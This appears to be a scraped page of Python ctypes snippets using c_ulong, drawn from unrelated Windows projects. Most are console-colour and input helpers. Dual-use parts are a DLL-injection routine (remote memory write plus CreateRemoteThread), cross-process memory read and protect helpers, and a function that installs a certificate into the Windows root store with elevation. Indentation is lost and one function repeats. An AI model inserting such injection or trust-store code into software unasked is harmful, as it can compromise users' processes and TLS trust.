def color_text_decorator(function):
def real_func(self, string):
windll.Kernel32.GetStdHandle.restype = c_ulong
h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
if function.__name__.upper() == 'ERROR':
windll.Kernel32.SetConsoleTextAttribute(h, 12)
elif function.__name__.upper() == 'WARN':
windll.Kernel32.SetConsoleTextAttribute(h, 13)
elif function.__name__.upper() == 'INFO':
windll.Kernel32.SetConsoleTextAttribute(h, 14)
elif function.__name__.upper() == 'DEBUG':
windll.Kernel32.SetConsoleTextAttribute(h, 15)
else:
windll.Kernel32.SetConsoleTextAttribute(h, 15)
function(self, string)
windll.Kernel32.SetConsoleTextAttribute(h, 15)
return real_func
python类c_ulong()的实例源码
def load_libsodium():
global loaded, libsodium, buf
libsodium = util.find_library('sodium', 'crypto_stream_salsa20_xor_ic', 'libsodium')
if libsodium is None:
raise Exception('libsodium not found')
libsodium.crypto_stream_salsa20_xor_ic.restype = c_int
libsodium.crypto_stream_salsa20_xor_ic.argtypes = (c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p)
libsodium.crypto_stream_chacha20_xor_ic.restype = c_int
libsodium.crypto_stream_chacha20_xor_ic.argtypes = (c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulonglong, c_char_p)
try:
libsodium.crypto_stream_chacha20_ietf_xor_ic.restype = c_int
libsodium.crypto_stream_chacha20_ietf_xor_ic.argtypes = (c_void_p, c_char_p, c_ulonglong, c_char_p, c_ulong, c_char_p)
except:
pass
buf = create_string_buffer(buf_size)
loaded = True
def clear_line(self, param):
mode = param and int(param) or 0
sbinfo = self.screen_buffer_info()
if mode == 1: # Clear from begining of line to cursor position
line_start = COORD(0, sbinfo.CursorPosition.Y)
line_length = sbinfo.Size.X
elif mode == 2: # Clear entire line
line_start = COORD(sbinfo.CursorPosition.X, sbinfo.CursorPosition.Y)
line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
else: # Clear from cursor position to end of line
line_start = sbinfo.CursorPosition
line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
chars_written = c_ulong()
windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), line_length, line_start, byref(chars_written))
windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, line_length, line_start, byref(chars_written))
def clear_line(self, param):
mode = param and int(param) or 0
sbinfo = self.screen_buffer_info()
if mode == 1: # Clear from begining of line to cursor position
line_start = COORD(0, sbinfo.CursorPosition.Y)
line_length = sbinfo.Size.X
elif mode == 2: # Clear entire line
line_start = COORD(sbinfo.CursorPosition.X, sbinfo.CursorPosition.Y)
line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
else: # Clear from cursor position to end of line
line_start = sbinfo.CursorPosition
line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
chars_written = c_ulong()
windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), line_length, line_start, byref(chars_written))
windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, line_length, line_start, byref(chars_written))
def clear_line(self, param):
mode = param and int(param) or 0
sbinfo = self.screen_buffer_info()
if mode == 1: # Clear from begining of line to cursor position
line_start = COORD(0, sbinfo.CursorPosition.Y)
line_length = sbinfo.Size.X
elif mode == 2: # Clear entire line
line_start = COORD(sbinfo.CursorPosition.X, sbinfo.CursorPosition.Y)
line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
else: # Clear from cursor position to end of line
line_start = sbinfo.CursorPosition
line_length = sbinfo.Size.X - sbinfo.CursorPosition.X
chars_written = c_ulong()
windll.kernel32.FillConsoleOutputCharacterW(self.hconsole, c_wchar(' '), line_length, line_start, byref(chars_written))
windll.kernel32.FillConsoleOutputAttribute(self.hconsole, sbinfo.Attributes, line_length, line_start, byref(chars_written))
def inject_dll(self,dll_path,pid):
'''
Inject a DLL of your choice into a running process.
@type dll_name: String
@param dll_name: The path to the DLL you wish to inject.
@type pid: Integer
@param pid: The process ID that you wish to inject into.
@returns True if the DLL was injected successfully, False if it wasn't.
'''
dll_len = len(dll_path)
# Get a handle to the process we are injecting into.
h_process = kernel32.OpenProcess(pyfault_defines.PROCESS_ALL_ACCESS, False, pid)
# Now we have to allocate enough bytes for the name and path of our DLL.
arg_address = kernel32.VirtualAllocEx(h_process,0,dll_len,pyfault_defines.VIRTUAL_MEM,pyfault_defines.PAGE_READWRITE)
# Write the path of the DLL into the previously allocated space. The pointer returned
written = ctypes.c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, ctypes.byref(written))
# Get a handle directly to kernel32.dll
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
# Get the address of LoadLibraryA
h_loadlib = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
# Now we try to create the remote thread, with the entry point of
thread_id = ctypes.c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,None,0,h_loadlib,arg_address,0,ctypes.byref(thread_id)):
raise faultx("CreateRemoteThread failed, unable to inject the DLL.")
# Return the threadid of the newly injected DLL
return True
def init_kernel32(kernel32=None):
"""Load a unique instance of WinDLL into memory, set arg/return types, and get stdout/err handles.
1. Since we are setting DLL function argument types and return types, we need to maintain our own instance of
kernel32 to prevent overriding (or being overwritten by) user's own changes to ctypes.windll.kernel32.
2. While we're doing all this we might as well get the handles to STDOUT and STDERR streams.
3. If either stream has already been replaced set return value to INVALID_HANDLE_VALUE to indicate it shouldn't be
replaced.
:raise AttributeError: When called on a non-Windows platform.
:param kernel32: Optional mock kernel32 object. For testing.
:return: Loaded kernel32 instance, stderr handle (int), stdout handle (int).
:rtype: tuple
"""
if not kernel32:
kernel32 = ctypes.LibraryLoader(ctypes.WinDLL).kernel32 # Load our own instance. Unique memory address.
kernel32.GetStdHandle.argtypes = [ctypes.c_ulong]
kernel32.GetStdHandle.restype = ctypes.c_void_p
kernel32.GetConsoleScreenBufferInfo.argtypes = [
ctypes.c_void_p,
ctypes.POINTER(ConsoleScreenBufferInfo),
]
kernel32.GetConsoleScreenBufferInfo.restype = ctypes.c_long
# Get handles.
if hasattr(sys.stderr, '_original_stream'):
stderr = INVALID_HANDLE_VALUE
else:
stderr = kernel32.GetStdHandle(STD_ERROR_HANDLE)
if hasattr(sys.stdout, '_original_stream'):
stdout = INVALID_HANDLE_VALUE
else:
stdout = kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
return kernel32, stderr, stdout
def get_console_info(kernel32, handle):
"""Get information about this current console window.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms683231
https://code.google.com/p/colorama/issues/detail?id=47
https://bitbucket.org/pytest-dev/py/src/4617fe46/py/_io/terminalwriter.py
Windows 10 Insider since around February 2016 finally introduced support for ANSI colors. No need to replace stdout
and stderr streams to intercept colors and issue multiple SetConsoleTextAttribute() calls for these consoles.
:raise OSError: When GetConsoleScreenBufferInfo or GetConsoleMode API calls fail.
:param ctypes.windll.kernel32 kernel32: Loaded kernel32 instance.
:param int handle: stderr or stdout handle.
:return: Foreground and background colors (integers) as well as native ANSI support (bool).
:rtype: tuple
"""
# Query Win32 API.
csbi = ConsoleScreenBufferInfo() # Populated by GetConsoleScreenBufferInfo.
lpcsbi = ctypes.byref(csbi)
dword = ctypes.c_ulong() # Populated by GetConsoleMode.
lpdword = ctypes.byref(dword)
if not kernel32.GetConsoleScreenBufferInfo(handle, lpcsbi) or not kernel32.GetConsoleMode(handle, lpdword):
raise ctypes.WinError()
# Parse data.
# buffer_width = int(csbi.dwSize.X - 1)
# buffer_height = int(csbi.dwSize.Y)
# terminal_width = int(csbi.srWindow.Right - csbi.srWindow.Left)
# terminal_height = int(csbi.srWindow.Bottom - csbi.srWindow.Top)
fg_color = csbi.wAttributes % 16
bg_color = csbi.wAttributes & 240
native_ansi = bool(dword.value & ENABLE_VIRTUAL_TERMINAL_PROCESSING)
return fg_color, bg_color, native_ansi
def VirtualProtectEx(self, base_address, size, protection):
old_protect = c_ulong(0)
if not windll.kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)):
raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection))
return old_protect.value
def read_bytes(self, address, bytes = 4):
address = int(address)
if not self.isProcessOpen:
raise ProcessException("Can't read_bytes(%s, bytes=%s), process %s is not open" % (address, bytes, self.pid))
buffer = create_string_buffer(bytes)
bytesread = c_ulong(0)
data = b''
length = bytes
_address = address
_length = length
while length:
if not windll.kernel32.ReadProcessMemory(self.h_process, address, buffer, bytes, byref(bytesread)):
if bytesread.value:
data += buffer.raw[:bytesread.value]
length -= bytesread.value
address += bytesread.value
if not len(data):
raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (win32api.GetLastError(),
address,
length,
bytesread.value))
return data
data += buffer.raw[:bytesread.value]
length -= bytesread.value
address += bytesread.value
return data
def from_rep(u):
"""Given a string, return a UUID object."""
if isinstance(u, pyversion.string_types):
return uuid.UUID(u)
# hack to remove signs
a = ctypes.c_ulong(u[0])
b = ctypes.c_ulong(u[1])
combined = a.value << 64 | b.value
return uuid.UUID(int=combined)
def isSysWow64():
k32 = ctypes.windll.kernel32
if not hasattr(k32, 'IsWow64Process'):
return False
ret = ctypes.c_ulong(0)
myproc = ctypes.c_size_t(-1)
if not k32.IsWow64Process(myproc, ctypes.addressof(ret)):
return False
return bool(ret.value)
def _key_control(self, key, action):
ip = INPUT()
INPUT_KEYBOARD = 0x00000001
ip.type = INPUT_KEYBOARD
ip.ki.wScan = 0
ip.ki.time = 0
a = user32.GetMessageExtraInfo()
b = cast(a, POINTER(c_ulong))
# ip.ki.dwExtraInfo
ip.ki.wVk = key
ip.ki.dwFlags = action
user32.SendInput(1, byref(ip), sizeof(INPUT))
def __init__(self, write_color):
from ctypes import c_ulong, windll
STD_OUTPUT_HANDLE_ID = c_ulong(0xfffffff5)
windll.Kernel32.GetStdHandle.restype = c_ulong
self.std_output_hdl = windll.Kernel32.GetStdHandle(STD_OUTPUT_HANDLE_ID)
self.SetConsoleTextAttribute=windll.Kernel32.SetConsoleTextAttribute
self.write_color=write_color
def PressKey(hexKeyCode):
extra = ctypes.c_ulong(0)
ii_ = Input_I()
ii_.ki = KeyBdInput( 0, hexKeyCode, 0x0008, 0, ctypes.pointer(extra) )
x = Input( ctypes.c_ulong(1), ii_ )
ctypes.windll.user32.SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))
def ReleaseKey(hexKeyCode):
extra = ctypes.c_ulong(0)
ii_ = Input_I()
ii_.ki = KeyBdInput( 0, hexKeyCode, 0x0008 | 0x0002, 0, ctypes.pointer(extra) )
x = Input( ctypes.c_ulong(1), ii_ )
ctypes.windll.user32.SendInput(1, ctypes.pointer(x), ctypes.sizeof(x))
def is_64bit():
return ctypes.sizeof(ctypes.c_ulong) != ctypes.sizeof(ctypes.c_void_p)
def reform_layer_int_from_blocks(blocks):
res = ''
for b in blocks[::-1]: # reverse the order
res += bin(ctypes.c_ulong(b).value)[2:]
res = '0b' + res
return int(res, 2)
def import_windows_ca(common_name, certfile):
import ctypes
with open(certfile, 'rb') as fp:
certdata = fp.read()
if certdata.startswith(b'-----'):
begin = b'-----BEGIN CERTIFICATE-----'
end = b'-----END CERTIFICATE-----'
certdata = base64.b64decode(b''.join(certdata[certdata.find(begin)+len(begin):certdata.find(end)].strip().splitlines()))
crypt32 = ctypes.WinDLL(b'crypt32.dll'.decode())
store_handle = crypt32.CertOpenStore(10, 0, 0, 0x4000 | 0x20000, b'ROOT'.decode())
if not store_handle:
return False
CERT_FIND_SUBJECT_STR = 0x00080007
CERT_FIND_HASH = 0x10000
X509_ASN_ENCODING = 0x00000001
class CRYPT_HASH_BLOB(ctypes.Structure):
_fields_ = [('cbData', ctypes.c_ulong), ('pbData', ctypes.c_char_p)]
assert CertUtil.ca_thumbprint
crypt_hash = CRYPT_HASH_BLOB(20, binascii.a2b_hex(CertUtil.ca_thumbprint.replace(':', '')))
crypt_handle = crypt32.CertFindCertificateInStore(store_handle, X509_ASN_ENCODING, 0, CERT_FIND_HASH, ctypes.byref(crypt_hash), None)
if crypt_handle:
crypt32.CertFreeCertificateContext(crypt_handle)
return True
ret = crypt32.CertAddEncodedCertificateToStore(store_handle, 0x1, certdata, len(certdata), 4, None)
crypt32.CertCloseStore(store_handle, 0)
del crypt32
if not ret and __name__ != "__main__":
#res = CertUtil.win32_notify(msg=u'Import PHP_proxy Ca?', title=u'Authority need')
#if res == 2:
# return -1
import win32elevate
win32elevate.elevateAdminRun(os.path.abspath(__file__))
return True
return True if ret else False